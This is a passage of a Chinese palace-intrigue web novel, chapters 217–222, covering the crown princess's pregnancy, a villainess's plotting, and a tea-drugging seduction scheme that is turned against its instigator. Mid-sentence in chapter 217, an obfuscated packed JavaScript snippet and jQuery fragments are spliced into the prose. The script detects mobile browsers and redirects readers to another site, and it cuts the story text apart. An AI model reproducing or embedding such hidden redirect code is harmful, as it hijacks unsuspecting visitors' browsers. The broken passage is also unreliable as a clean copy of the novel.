对妍妃,他们与之接触不多,但是印象却极好。 特别是上次他们夫妻在牢中数日,多亏了妍妃从旁相助,默默帮他们不说,还让人送各种山珍海味去牢中。 这恩情,他们一直都记着的。 “早都盼着你们呢,总算盼到你们搬进东宫了,我可得赶紧过来给你们道喜!”妍妃笑着道。 接着她身后的宫人整齐地向夜时舒行礼。 “参见太子妃!” “免礼,都起来吧。”夜时舒抬了抬手,然后笑看着妍妃,“娘娘太客气了!上次在牢里受了娘娘那么多关照,本来是该我们去看你,向你感恩道谢的。一直没找到合适的机会去锦福宫,反倒让娘娘这么热情地迎接我们,我真是感到惭愧。” “你们现在搬进东宫,以后有的是机会去锦福宫看我。” “娘娘,里面请。”夜时舒亲切地抬手引道。 妍妃在大宫女搀扶下同她进了殿宇。 刚落座,就见小太监又来禀报,“启禀太子妃,梁王妃求见。” 夜时舒一听,脸色不由地沉下。 骆丽娴这是迫不及待地来向她显摆吗? 就在她刚要开口,突然胃部一阵难受,什么东西像要从喉咙里涌出来似的,她下意识地抬手捂住嘴—— “太子妃!” 第217章 双喜 妍妃和一众宫人都被她吓到了。 特别是春、夏、秋、冬四个小丫鬟,赶忙把夜时舒围得紧紧的,生怕任何人靠近她。 可下一刻听到她干呕的声音,妍妃和锦福宫的宫人都愣了,接着一个个脸上又莫名地露出笑。 妍妃问春、夏、秋、冬,“太子妃这月的葵水可来过?” 春、夏、秋、冬四个小丫鬟你看着我、我看着你,都纷纷摇头。 而夜时舒吐了一滩水,啥也没吐出来,听到妍妃的问话,她惊讶地抬起头,然后下意识地摸着自己小腹。 她这月的葵水已经晚了十余天…… 难道…… 四个小丫鬟都只有十二三岁,妍妃见她们懵懂,转头便吩咐自己的大宫女,“去太医院请陆院使,就说太子妃积食,腹胀难受,让他赶紧来东宫!再去把太子叫回来!” 两名大宫女应声后快速退下。 夜时舒感激地朝她笑了笑。 她现在还不确定是否怀孕,的确只能说腹胀难受。 妍妃上前,压低着嗓音与她说道,“你先回寝宫休息,梁王妃那里我去帮你应付,就说你腹胀难受,让她改日再来。你安着心,就算陆院使诊出喜讯,我也会管住自己的人,不会让他们声张半个字。” “多谢娘娘!”夜时舒感激道,“梁王妃那里就让你费心了。” 妍妃带着锦福宫的人离开了。 夜时舒胃里难受,很快被春柳她们搀着回了寝宫。 她是想上榻休息,可人还没到榻上又忍不住干呕起来。 “太子妃……”春柳四人手足无措,面对她这种情况,除了紧张地围着她外,根本不知道自己能做什么。 这一次,夜时舒干呕得更厉害,蹲在地上眼泪都飚出来了。 正在这时,急促的脚步声传来,四个丫鬟回头看去,激动得全红了眼眶。 尉迟凌箭步上前,挤开她们,蹲下身把夜时舒搂住。 夜时舒刚好缓过一丝气,扭头看着回来的他,立马扑进他怀里,“阿凌……我快吐**……” 活了两世,她头一次经历这样的事,说不慌是假的。 尉迟凌立即将她抱起,轻柔放上床榻。 夜时舒主动把手腕递给他,哭笑道,“要不是妍妃娘娘提醒,我都忘葵水迟了半个月,现在都没来!你赶紧给我看看,是不是真有了?” 尉迟凌修长的手指落在她腕脉上。 不多时,那抿紧的薄唇飞扬开来,并紧紧将她搂住。 “那些夜真没有白熬!” “噗!”夜时舒没想到他第一句话竟是如此不着调,笑着敲他的肩,“放开,快喘不过气了!” 尉迟凌立马松了臂弯的力道,但还是圈着她,像护着珍宝似的不愿撒手。 夜时舒瞥了一眼四个丫头。 四个丫头这会儿哪还有不懂的?她们一字排开,满面喜色,齐声道,“恭喜太子、恭喜太子妃!” 尉迟凌扭头朝她们看去,严肃道,“太子妃有孕的事不许外传,知道吗?一会儿陆院使过来,让他对外宣称,太子妃吃多了,积食引起腹胀,休息两日便无碍。” “是!”四个丫头齐声应道。 “让文岩去找一些酸梅,越多越好!”尉迟凌再次吩咐。 “是!” 四个丫头清理干净秽物后便退了出去。 寝宫内就他们夫妻俩了。 夜时舒摸着小腹,直有一种怅然若梦的感觉。 上一世她和魏永淮没有圆房,因为被毒害到无法行动,她没有机会孕育孩子。魏家人为了安抚她,把骆丽娴和魏永淮的私生子说成是骆丽娴亡夫的遗腹子,过继到了她名下…… 每每想起这些,她心中就好恨好恨! “哭什么?可是哪里不适?”看着她突然流泪,尉迟凌又抓着她手腕仔细地诊断。 “我……我只是太高兴了!”夜时舒抽出手腕,紧紧抱住他腰身,在他怀中放声大哭,“阿凌……我有孩子了……谢谢你……” 尉迟凌听着她道谢的哭声,俊脸一下子就黑了,一边抽出她的手绢给她擦拭泪珠儿,一边不满地斥道,“高兴归高兴,但同本王道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301124|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢,你是想讨打不成?” 夜时舒微微一愣,这才发现自己激动过头了。 她赶紧挤出笑,认错道,“我……我就是高兴过头了!” 尉迟凌眼也不眨地盯着她,眸光是从未有过的潋滟和温柔,“我亦心悦。舒儿,谢谢你。” 看着他黑眸中自己的影子,夜时舒脸颊泛红,又敲他肩膀,嗔道,“还说我呢,你又道什么谢?” “呵呵!”尉迟凌低低笑着,情难自禁地低下头要亲她。 “别!”夜时舒眼疾手快地挡住他的唇,并将他推开,红着脸道,“你不知节制,现在不给你亲!” 尉迟凌有些黑脸,又有些哭笑不得。 正想重新揽她入怀,夜时舒突然又捂着嘴朝榻下干呕起来—— …… 将军府。 女儿女婿迁入东宫,夜庚新让九姑备了好些礼物,正准备让老大、老二送去东宫,郝福突然跑到父子三人跟前,惊喜地喊道,“二公子,二少夫人有喜了!” “什么?!”夜时竣惊喜得跳了起来,接着撒开腿就朝大门跑去! 夜庚新和夜时珽相视一样,都欢喜不已,赶紧跟了去。 大门口。 本来郝福正带着下人往马车上装礼物,九姑和顾思沫在一旁说话,离瑶突然来找她们,也不知道她从哪里挖来一株花,那花开着正艳,花瓣是红黄二色,极其漂亮。 最主要是那花香香气特别浓郁。 离瑶本想让她们夸夸自己,结果顾思沫闻着那花香,当场干呕不止。 九姑跟在尉迟凌身边多年,也会看些普通的脉象,她赶紧给顾思沫把了把脉,这一把脉直接让她乐得笑出声,“芯儿,这是滑脉啊!” 顾思沫狠狠一愣,接着自己摸了摸自己的腕脉,惊喜得说不出话来。 随即九姑便招呼郝福,让他赶紧去书房报喜。 不多时,夜时竣飞奔出来,一把就将顾思沫给抱起来,激动地问道,“芯儿,我是不是要当爹了?是不是?” “你、你干什么?快放我下去!” 第218章 他变温柔了 夜时竣没放下她不说,还拔腿就往他们住的玉竹院跑,扯开喉咙对夜庚新和夜时珽喊道,“爹、大哥,我回房看我儿子,你们同小妹说一声,改天我们再去东宫!” 夜庚新瞪着他飞奔的背影,无语得想骂人。 这可是他的第一个孙子,好歹让他说两句话啊! 夜时珽见离瑶呆呆愣愣地站在大门旁,提脚过去,问道,“怎么了?” 离瑶将手中的花举了举,“这花又美又香,我本来是打算送给芯儿的,但她好像闻不了这花香。可是这么美的花,扔了怪可惜的。” 看着她为难又不舍的样子,夜时珽眸光闪了闪,温声道,“我们要去东宫,不如你把这株花带去东宫给小妹吧。” 闻言,离瑶立马笑出两朵梨涡,“对哦!芯儿闻不得这花香,不如给太子妃送去,她一定会喜欢的!” …… 东宫。 听说父兄来了,夜时舒忍着害喜的不适去大殿。 “爹、九姑、大哥、瑶儿……咦,二哥二嫂呢?”没瞧着自家二哥二嫂,她不免有些疑惑。按理说,她在东宫做太子妃,她二哥应该是最兴奋的,没道理不来。 “太子妃,芯儿怀孕了。”九姑笑着先开口向她报喜。 “真的?!”夜时舒惊喜不已,摸着自己小腹正要告诉他们自己的好事,突然闻到一股浓郁的花香,她瞬间捂住嘴朝地上干呕起来。 “舒儿!” “小妹!” 夜庚新、九姑、夜时珽都被吓了一跳。 尉迟凌眸光倏地射向离瑶手中的花,“嗯?” 离瑶捧着带泥的鲜花,石头般僵住不敢动。 她就想送株花而已…… “太子,太子妃可是有喜了?”九姑最先反应过来,赶忙上前为夜时舒抚背顺气。 “嗯,今日才查出来的。”尉迟凌嘴上回着,但眸光却一直盯着离瑶手上的花。 夜时珽察觉到他神色不对劲儿,将离瑶手中的花接过,递给一旁的春柳,“拿去处理了,别让太子妃再闻到花香!” 春柳正要应声,只听尉迟凌沉声道,“慢着!” 夜时珽剑眉微蹙。 紧接着又听尉迟凌吩咐,“将此花送去本宫书房。” “是!”春柳接过花,快速退下。 “此花哪来的?”尉迟凌又朝离瑶问道。 “太子,我不是故意的!”离瑶以为自己闯了货,赶忙解释起来,“我在将军府附近玩,看到一水沟里长了这花,觉得又美又香,便将其从水沟里挖了出来……要是早知道芯儿和太子妃都闻不得,我就不挖了!” “此花少见,你也算立了一大功。”尉迟凌微微勾唇。 闻言,离瑶懵懵地眨着眼。 夜时珽还以为他要降罪离瑶,听他称赞的话,虽心有不解,但总算松了口气。再瞧着自家妹妹难受的样子,他说道,“太子,舒儿这样,我们也不便打扰,你陪她好好休息。” 九姑拉了拉夜庚新的衣袖,“太子妃刚入东宫就有喜,她身边最信得过的就是春柳她们四个,可她们四个年岁小,什么也不懂,我想留下来照顾太子妃。等太子妃害喜的情况稍好些我再回将军府,行吗?” 夜庚新看着女儿害喜的样子,心疼是肯定的,但他又不能做什么,只能同意九姑的提议。 于是他向尉迟凌说道,“太子,你现在也有许多事要忙,就让九姑留下照顾舒儿吧?” 只要他肯放人,尉迟凌哪有不同意的? 夜庚新原本还打算留在东宫喝两杯的,现在女儿和老二媳妇同时有喜,他哪里还有心思喝酒。女儿这边安排妥当后,他便带着夜时珽、离瑶回府了。 …… 尉迟睿被赦放以后,尉迟晟还是赐了一座府邸给他。 只不过跟临街又气派的承王府相比,梁王府不但地处偏僻,且不及承王府一半大。 祝华凝同时被放出,但丞相祝志顺第一时间就将她接回了丞相府。 “王爷,妾身去过东宫了,只是夜时舒声称身子抱恙,没有接见妾身。”在刚整理好的书房中,骆丽娴还是一如既往的在他面前卑微如泥。 尉迟睿之所以养她在身边,就是因为她拥有北蔺国公主的身份。 而今他能脱狱,靠的就是自己当初留她在身边的决定! 哪怕知道她腹中的孩子是魏永淮的,他也不介意。毕竟是这个孩子的到来,给了她重获天日的机会。 “不见就不见吧,以后有的是机会,不急在这一时。”他没有再像从前一般冷漠,甚至眼中还带着笑,“你怀着身子,也别太辛苦了,让人多给你做些补身的膳食,多休息。” “王爷放心,妾身会照顾好腹中孩子的。”骆丽娴摸着肚子柔声应道。这个孩子,不但是她获取荣华富贵的筹码,也是尉迟睿翻身的筹码,不用任何提醒她都会保护好的。 “对了,四皇子何时有空,你能否帮本王邀他来王府坐坐?”尉迟睿唇角勾勒的笑更加迷人。 “这两日妾身都没去驿馆,不知道他是否有空。”骆丽娴也回他温柔的笑,“不过王爷放心,明日我会派人给驿馆传话,请我四皇兄来府中。” “好。”尉迟睿满意地点了点头。 骆丽娴退出书房,脸上的温柔瞬间冷却,并不屑地撇起嘴角。 她当然知道尉迟睿打的主意,多半都是想与莫千骁合作。 只不过她现在站莫千骁那一边,不会主动为尉迟睿引荐,必须像现在这样,让尉迟睿主动开口! 她刚回到卧房,一名丫鬟匆匆来到她面前,低声禀道,“王妃,魏公子派人来传话,约您今日去护城河。” 闻言,骆丽娴垮下脸。 魏永淮现在的越发烦人了! 现在她怀了孩子,又抢了祝华凝的正妃之位,不知道有多少眼睛盯着她,上次的惊吓还没受够,现在还要约她,是生怕别人不知道她腹中的孩子是野种吗? “回他的话,就说我身子抱恙,去不了!” “王妃,奴婢还听到一个消息。”丫鬟又道。 “什么消息?”骆丽娴不耐地问道。 “听说魏大人快不行了。” 第219章 他怎么不去死呢! “魏大人不行了?什么意思?”骆丽娴不解地问道。 “王妃,您有所不知,听说魏大人前不久染上了脏病,那病发作得厉害,已经药石无医了。” “脏病?!药石无医?!”骆丽娴惊讶得打了个冷颤。 “也不知道魏大人着了什么魔,养了好几个不知来历的美人在府中,也就个把月的事吧,就染了脏病。据说魏夫人为此郁郁寡欢,终日躲在房里以泪洗面”丫鬟继续说道。 虽说骆丽娴对魏家并没感情,可魏家如此变故,也着实叫她难以消化。 她朝丫鬟摆摆手,让其先退下。 坐在床榻上,看着宽敞的房间,她摸着还未显怀的肚子不禁发笑。 听说过母凭子贵,可像她这样怀着别人孩子做亲王妃的,别说说出去没人信,连她自己都觉得不真实。 可偏偏一切富贵全都来了…… 就在她发着笑准备睡觉时,房门突然被人推开! 看到来人,她惊呼着坐起,“你、你怎么来了?” 魏永淮反手关上门,阴沉着脸走向床榻,抬手指着她,怒问,“骆丽娴,你这是打断背叛我吗?” 骆丽娴立马露出一脸委屈,“淮哥哥,你胡说什么?谁要背叛你了?” 魏永淮咬着牙恨道,“为何你不直接向四皇子坦白我们的关系?你明明可以告诉他你腹中的孩子是我的!只要你说了,凭他的身份,大可以趁尉迟睿在死牢之际让皇上解除你和尉迟睿的婚约,然后将你带回北蔺国!只要你离开北蔺国,我也可以同你一起离开,可你却捂着我们的关系,还利用我的孩子把尉迟睿从死牢中解救了出来!骆丽娴,你利用我怀上孩子,就是贪图尉迟睿的正妻之位,是不是?” 骆丽娴上前握住他的手,哽咽道,“淮哥哥,你别胡思乱想冤枉我啊!我们当初不是说好了吗,怀上孩子,让这个孩子帮我们获取富贵?虽然尉迟睿现在不是太子了,可他也被封了梁王,他的一切都会成为我腹中孩子的,最后不都是我们的吗?” 魏永淮摇了摇头,含怒的双眼中充满了不甘,“我现在不要梁王的富贵了,我现在只想你做北蔺国的五公主,而我做你名正言顺的驸马!这大邺国我是一刻也待不下去了,你必须带上我回到北蔺国!” “……”骆丽娴心下有些慌乱,她竟不知魏永淮是如此打算的! 这个又蠢又坏的男人,什么能耐都没有,却怀着如此大的野心,真是可笑至极! 就在她愣神之际,魏永淮突然扑向她,一把抓住她的脖子,“我果然没有猜错,你当真只是利用我给你播种,你根本没想过要和我在一起!” “唔……淮……淮哥哥……不……不是的……”骆丽娴双手抓住他的手腕,痛苦地一边挣扎一边解释,“我……我心中只有……只有你……” 魏永淮松开了五指,但整个脸却扭曲着,双目狰狞地瞪着她,“那你告诉我,何时给我驸马的身份?你今日要是不给我准信,我绝对不会让你和肚子里的孩子好过!” “咳咳……”面对他的威胁,骆丽娴下意识地护着肚子,这个孩子是她从莫千骁和尉迟睿二人手中获取富贵的筹码,如果孩子没了,那她就是彻底的完了!待呼吸顺畅后,她流着眼泪主动将魏永淮抱着,哭着道,“淮哥哥,我从始至终就你一个男人,凭这一点你就应该相信我对你的心意。尉迟睿虽然不是太子了,可他现在是梁王,皇上给了他封地,只要我生下这个孩子,我们想办法把尉迟睿杀了,那他的封号和封地就都是我们孩子的!淮哥哥,到时我们一家三口在封地过着逍遥又富贵的日子,难道不好吗?” 魏永淮怔住。 他最近一直想着去北蔺国开启崭新的生活,还真没想过拥有封地的日子…… 骆丽娴努力观察着他的反应,见他有心动的迹象,继续哭说道,“淮哥哥,你一定要相信我,我所做的一切都是为了你和孩子!如果你都不相信我,那我生下这个孩子还有什么意义?” 魏永淮的确让她说得动心了! 比远去北蔺国人生地不熟,在大邺国拥有封地,那真是逍遥又富贵! “娴儿,我可以信你,但我家中……” “淮哥哥,魏家的事我也是才听说,我知道义父现在在府中养病,你和义母手中拮据。”骆丽娴推开他下床,去衣柜里拿了一锭金子,然后回到床榻边递给魏永淮,“淮哥哥,这是我四皇兄给我的,我舍不得用,都为你攒着呢!” 看着沉甸甸的金锭子,魏永淮目光比火烛还亮。脸上所有阴鸷的神色全都消失殆尽,取而代之的是惊喜和温柔。 “娴儿,没想到你如此为我着想,之前是我误会你了!”他接过金锭子,再将骆丽娴拥进怀中,在她眉间落下亲吻,并郑重承诺,“你放心,往后我再不会胡思乱想了!我会好好保护你和腹中的孩子,等到他平安降世,我们一家三口就过称心如意的日子!” “嗯,淮哥哥,你一定要耐心等着。”骆丽娴娇羞地抬起头,并轻轻推他,“好了,时候不早了,趁着没人发现,你赶紧离开吧。我现在被许多人盯着,没法去找你,你要自己照顾好自己,知道吗?” 魏永淮怀着金锭子,又在她温言细语中得到了极大的慰藉,自然是听劝的。 只是为了表达自己对骆丽娴的情意,他临走前还拥着骆丽娴好一通深吻。 等到他一走,骆丽娴关上房门,干呕了好一会儿,然后又到桌边拿茶水漱口。她脸上不是难受,也不是不舍,而是无法形容的厌恶。 没错。 她就是厌恶魏永淮了! 第220章 二公子,怎么是你? 曾经她心之向往是有人疼,有人伴,有一屋可为她遮风避雨,免她再受颠沛流离之苦。所以她把魏永淮当成了自己的天,对他们一家子卑微顺从。 后来她做了太子良娣,知道太子对她别有用心,她便把魏永淮当成自己的精神寄托。 可现在,她是北蔺国的五公主,也是帝王钦赐的梁王妃,再面对魏永淮时,她才惊醒发现,这个男人平庸到让人不齿! 要品行没品行、要才识没才识、要忠贞没忠贞…… 给不了她专一的宠爱和富足的生活也就罢了,竟还反过来享受她的富足和荣华! 他怎么不去死呢?! 骆丽娴心中骂着骂着,突然狠狠一震,刹那间美目中全是阴毒的气息。 魏永淮现在已经没用了,像他这种用情不专又目光短视的男人,再纠缠她的话一定会坏她的好事! 只有除掉他,她的未来才会真正逍遥快活! …… 为迎接北蔺国使节,尉迟晟让礼部精心准备接风宴。 文武百官携家眷参与,数百人齐聚金碧辉煌的宫殿中,隆重盛大,足以彰显尉迟晟对北蔺国使节此次来访的重视。 而这次的盛宴,还有更大的几个看点,那就是帝王家两位皇子的身份互换。 曾经一人之下万人之上的尉迟睿,如今成了不受宠的梁王。原本在朝中没有什么势力的尉迟凌,不但取代了尉迟睿的太子之位,所受帝王恩宠更是远胜尉迟睿当初。 而一向低调的夜时舒,如今身着华服,成了高贵典雅的太子妃。 就连夜家父子三人今夜都备受瞩目。 宴席还未开始前,有不少命妇凑到夜时舒跟前,虽然平日里都没怎么与她打过交道,可就凭她倾城绝色的容貌也够那些女人换着词藻夸赞,就差把她吹捧上天了。 夜时舒也没拿高架子,对谁都和颜悦色,即便是杜夫人和杜安雯母女俩来给她请安,她也保持着亲和的微笑。 “杜夫人和杜小姐最近在忙什么,怎么不见你们去找本宫?你们不知道,我们外祖父可是时常念叨着你们呢!” 杜夫人和杜安雯面露尴尬。 眼见其他夫人小姐都望着她们,杜夫人干笑道,“太子妃,近来府中事多,没来得及去给您请安。” 想到之前她们把卫国公当成乞丐,这会儿她都不敢提‘国公爷’三个字,就怕夜时舒当众数落她们母女。 正在这时,一名宫女朝她们走近。 但她什么都没做,只默默地静立在一旁。 因为人多,没人关注这么一个宫女的举动。 “母亲,大家都排着队给太子妃请安呢,您就别多打扰太子妃了。”杜安雯柔声说道,既显得体贴,又及时让她们母女退出了尴尬。 杜夫人笑着陪女儿退到一旁。 而她们站的位置正好挨着那名宫女。 夜时舒正同另一位夫人说话,身旁的九姑突然轻轻碰了碰她。 她顺着九姑的视线看去,就见杜安雯跟着宫女朝殿外去了。 “太子妃,我去瞧瞧。” “好。” 九姑走后没多久,礼乐声便响了起来。 伴随着乐声,尉迟晟和北蔺国四皇子莫千骁领着一种官员入了殿。 每个人找到自己的位置,尉迟晟一落座,殿中便响起洪亮浩荡的参拜声。 “平身!” 夜时舒起身,这才发现除了自家男人没来外,尉迟睿的座位也是空的,那一张桌子只有骆丽娴一人。 今日的骆丽娴也是出挑得很,一身华服,妆容精雅婉约,微笑满面的她不再像从前那般低垂眉眼,坦然自若地迎着别人的注视,整个人仿佛脱胎换骨般,变得夜时舒看她都觉得陌生了起来。 “父皇,太子不是同你们在一起吗,怎不见他入宴呢?”她离尉迟晟很近,索性直接开口询问。 “朕来时忘了点事,便让他去书房处理,他一会儿便来。”尉迟晟笑着回道。 夜时舒温顺地点了点头。 就在她收回视线时,不经意地发现对面的莫千骁正冲她笑。 那笑在旁人看来或许是示好的表现,可看在夜时舒眼中,却是后背莫名发寒。毕竟她们和这位四皇子在驿馆以及紫琼山庄相见时并不愉快,要不是被身份束缚着,只怕都出手打起来了。 宴席开始。 尉迟晟尽地主之谊先向莫千骁说了一堆客气话。 二人端着酒樽你来我往地敬着,爽朗的笑声蔓延在整个殿宇中。 夜时舒突然给身后的春柳、夏花使了使眼色。 然后无视众人的目光,起身离开了殿宇。 “大哥,小妹出去了,我去看看!”夜时舒前脚踏出殿宇,夜时竣立马就起身跟了出去。 夜时舒正准备去御书房,突然一名太监匆匆跑来,慌张不已地,“太子妃,奴才正要去找您呢!” “出何事了?”夜时舒脱口问道。 “太子妃,太子殿下遭遇刺客埋伏,受伤了,您赶紧过去看看吧!”太监指着北边方向,“他现在就在琉光殿等您!您先过去吧,奴才还要去禀报皇上!” 说完,他便朝宴殿跑去。 夜时舒望着他指的方向,唇角勾起一丝冷笑。 “太子妃,也不知太子殿下是否要紧,我们赶紧去吧!”春柳和夏花被尉迟凌受伤的事吓到了,赶紧催促她。 “嗯。”她没有反对,提脚朝北边而去。 路过一处花园时,身后响起异动。 她转身看去,就见一熟悉的身影从花坛里钻出来。 “二哥!” “小妹,你往哪去啊?”夜时竣原本是想偷偷跟着她的,只是看她不是去东宫的方向,便忍不住现身。 “有人说太子遇到刺客受伤了,让我去琉光殿。呐,就在前面。”夜时舒笑着道。 “是吗?”夜时竣摸着下巴望着她指的方向,突然咧嘴笑道,“小妹,我看今晚注定不太平,你赶紧回东宫,我去琉光殿接妹夫!” “好。”夜时舒转身对春柳和夏花吩咐,“二公子不熟路,你们跟着二公子去。” “是。” …… 琉光殿。 夜时竣推门就进去了。 晚上,这里没人,安静得有些可怕。 可殿宇中却有微弱的烛光。 夜时竣大摇大摆地走到一间房门前,给春柳和夏花使了使眼色。 两丫鬟会意,立马对话起来—— “太子妃,应该就是这里了!” “太子肯定就在里面。您进去吧,奴婢在外面守着。” 夜时竣推门而入。 房中桌边,的确坐着一男人,当听到推门声,男人立马转过身,并一脸惊喜。 然而,当看着进门的夜时竣时,他一脸的惊喜瞬间变成一脸的惊吓—— “二公子,怎么是你?!” 第221章 殿下,臣女好怕! “魏公子,意外吗?”夜时竣后背倚着门框,挑眉又挤眼,勾勒的唇角更是张扬又邪肆,仿佛逮住了一只跳梁小丑想狠狠捉弄。 “你……”魏永淮脸色忽青忽白,在烛火照耀下,仿佛罩着一层鬼气。 “魏公子,先不说是谁安排你在此的,但同样作为男人,你这种举动,不但卑鄙无耻,还很找死。”夜时竣脸上笑得多邪肆,嘴里的话便有多嘲讽,“如果当初不是我娘被你娘用心机讨好,盲目地许下你和我小妹的婚事,就凭你的为人,你连给我家小妹倒恭桶的资格都没有。” “也是我们娘亲走得早,没有看到成长后的你是多么的无能和卑劣,不然她一定会亲自为我小妹退婚的。我们夜家之所以能容忍,我小妹之所以能接受,不过就是为了遵从我们娘亲的遗愿罢了。” “你看看你,比我还大一岁呢,文不成武不就,没功名没积蓄,除了惦记我家小妹的嫁妆外,最大的特点就是吃着碗里看着锅里。你扪心自问,你哪点配得上我家小妹?” 魏永淮被羞辱得浑身颤抖,那眼珠子瞪得仿若要从眼眶里滚落出来,要多吓人就有多吓人。 可面对这样的羞辱,他却是一句话都不敢说,因为上一世,他就是被这个男人一箭穿心刺死的! 夜时竣说完,脸上所有的笑突然消失,提脚朝他走去。 “你……你要干什么?”魏永淮吓得不停往身后退,颤抖地抬手指着他,“你别过来……这一世我可什么都没做……你要敢杀我你就会变成杀人犯!” “呃?”夜时竣脚步顿住,看着他一脸的恐惧,仿佛自己是吃人的魔头般,于是不由地抬手摸了摸自己的脸,早上媳妇可是夸他英俊迷人的,魏永淮这狗东西怕他做什么? 还有…… 什么‘这一世我可什么都没做’? 这什么鬼话? 还说他要杀人? 他现在手上又没刀剑,拿什么杀人? 这卑鄙无耻的狗东西,莫非得了什么失心疯? “魏永淮,我警告你,我小妹现在是太子妃,你若再敢打她的主意,我一定让你生不如死!”虽然他现在没兵器,但确实是想狠狠警告魏永淮! “你别过来……”魏永淮退到墙根再无处可退,只能蹲在地上抱着头紧闭双眼哆嗦地嚷道,“我什么都没做……你不能杀我……你不能杀我……” 看着他此刻的样子,夜时竣不屑地冷哼。 就这么一个不禁吓的软蛋玩意儿,打他都嫌脏手! 何况这软蛋玩意儿神志失常,他跟个疯子动手,只会丢他夜家老二的威名! …… 东宫。 看着四下无人的宫殿,杜安雯有些惴惴不安。 这偌大的东宫,竟无人值守,这多少有些不对劲儿。 然而,一想到自己已经来了,她又不舍得放弃。因为宫女明确地告诉她,太子受了伤回了东宫。这会儿夜时舒正在宫宴上,是她接近太子最好的机会! 坚定了自己的想法后,她不再迟疑,径直朝寝殿方向而去。 以前祝华凝做太子妃时,曾邀过京中贵女们来东宫游玩,那些记忆现在给她提供了便捷,省了她不少麻烦。 到了寝殿。 看着房门大开,里面灯火如昼,她心中大喜,太子当真回来了! 她激动地小跑进殿。 果然。 殿中榻上正坐着她朝思暮想的男人! “太子殿下……” “谁让你来的?”见她闯进来,尉迟凌一记冷眼射向她。 “臣女参见太子殿下!”杜安雯赶忙蹲膝行礼,然后柔声回道,“听完太子殿下遇刺受了伤,臣女正巧路过东宫,所以来看看。殿下,您没事吧?” “无碍。”尉迟凌语气有所软和,“多谢杜小姐关心。” 杜安雯见他没有驱赶自己的意思,心下喜得都快冒泡了,神色和语气更是温柔酥骨,“殿下,您没去宴殿,可是受伤了?需要臣女做什么,您尽管吩咐。” 尉迟凌双眸朝不远处的桌子抬了抬,“本宫口渴,为本宫倒杯茶水。” “是!”杜安雯激动得双脚打颤。她今晚可是豁出去了,没想到机会竟来得如此容易! 她快速走到桌边,背对着床榻,然后偷偷侧目看了一眼。 见男人低垂着眉眼,仿佛在思考什么问题入了神,完全没把心思放在她身上,她嘴角偷扬,从腰带中取出一包粉末,倒进茶壶中。 “殿下,您喝茶。”她端着茶杯恭敬地呈到尉迟凌面前。 尉迟凌接过茶杯,抿了两口,唇角突然勾起浅浅的笑,“嗯,今日这茶味道不错。”顿了一下,他朝杜安雯抬了抬下巴,“杜小姐也斟一杯茶陪本宫喝吧。今晚宫人都陪太子妃去了宴殿,暂时没人伺候,劳烦杜小姐自己动手。” 杜安雯一听,这下是彻底放心了。 原来东宫没人,是全安排去了宴殿啊! “杜小姐,愣着做何,本宫邀你同饮,你不愿赏脸吗?”见她不动,尉迟凌立马沉下脸。 “不不……”杜安雯赶紧到桌边,又为自己倒了一杯。 她端着茶杯,眉眼含羞地望着尉迟凌。 太子已经喝下茶水,一会儿骗会控制不住地对她…… 既然太子要她陪饮,她也没什么好顾虑的,一个人疯狂,不如陪同太子一起疯狂…… “多谢殿下恩赐。”一想到接下来要发生的事,她不仅心跳加速,脸颊也爬上了红晕。 多年前见过太子一面,她便对他俊逸的容貌着迷。只是后来听说他毁了容,且双腿还废了,她不得不灭掉心中的痴迷。 然而,老天是眷顾她的。 没想到太子竟然又恢复了容貌,比起鲜衣怒马的少年郎,如今的他不仅成熟稳重,浑身上下散发着魅惑的男人气息,那如精雕细琢的容貌更是迷人心扉。 特别是他修长壮硕的身躯…… 不知道一会儿会令她多疯狂…… 就在她刚饮下杯中茶水时,烛台的灯火突然熄灭。 “啊!”她小小地惊了一下,紧接着娇喊,“殿下,臣女好怕!” 她话音刚落,一具高大的身影便靠近她,并一把将她揽入怀中。 闻着对方身上的男性气息,特别是落在她耳鬓的呼吸声,她还没开始展露自己的魅力,便已被对方精壮的体魄迷软了骨。 “殿下……” 第222章 杜安雯和魏永淮在琉光殿行苟且之事! 房门外,目送黑衣人扛着杜安雯朝琉光殿而去,顾思沫忍不住唾骂,“太不要脸了!什么京城贵女,就是无耻不堪的爬床货!” 尉迟凌斜眼睇向她,“其他地方都安排好了吗?” 顾思沫立马笑道,“殿下你放心,师兄师弟们都已就位,今晚出不了事的。” “嗯。” 尉迟凌刚要离开,就见一道熟悉的身影朝他们而来。 他快速迎上去,将人拥入怀中。 夜时舒笑着拍他,“有好戏也不让我看,真是的!” 顾思沫也迎上前,说道,“小妹,幸好你没看到,你要看到,隔夜饭都能吐出来!” 夜时舒从尉迟凌怀中伸长脖子,兴致满满地问她,“二嫂,快说说,怎么回事?” 顾思沫‘嘿嘿’笑道,“你还是让殿下同你说吧,瑶儿还在偏殿吃东西,我得去陪她!” 说完,她撒丫子跑远了。 夜时舒拿手指戳了戳身前男人的胸膛,嗔道,“也不提前打声招呼,我瞧着你许久不现身,担心死了!” 尉迟凌搂着她,一边朝宴殿去一边同她说了起来。 他从御书房出来,正准备前往宴殿,突然就遭遇刺客袭击。 那刺客没伤到他,反而被他生擒,然后被逼说出了幕后主使以及他行刺的目的。 他把刺客放了,将计就计回了寝宫,静等杜安雯上门。 当夫妻俩并肩携手步入宴殿时,立马引来所有人的注视。 夜时舒面带得体的微笑,但目光却盯着骆丽娴的方向。 骆丽娴也瞪着眼注视着他们,只是跟别人眼中的惊艳和恭敬之色相比,她好比见到鬼一样,脸色惨白,浑身发抖。 “弟妹,你这是怎么了,气色怎如此难看?”路过她桌子时,夜时舒故意停下并关心地询问她。 “没、没事,多谢太子妃关心。”骆丽娴低下头,掩去自己一脸的愤怒和心虚。 “咦,今夜怎么没见到二弟梁王?”夜时舒再关心地问道。 “他身子抱恙,在府中休息。” “哦。” 夜时舒勾着红唇,心下再了然不过。 尉迟睿那狗东西之所以没进宫,不是因为他失了太子之位,而是他从长子变成了次子,嫡子变成了庶子。 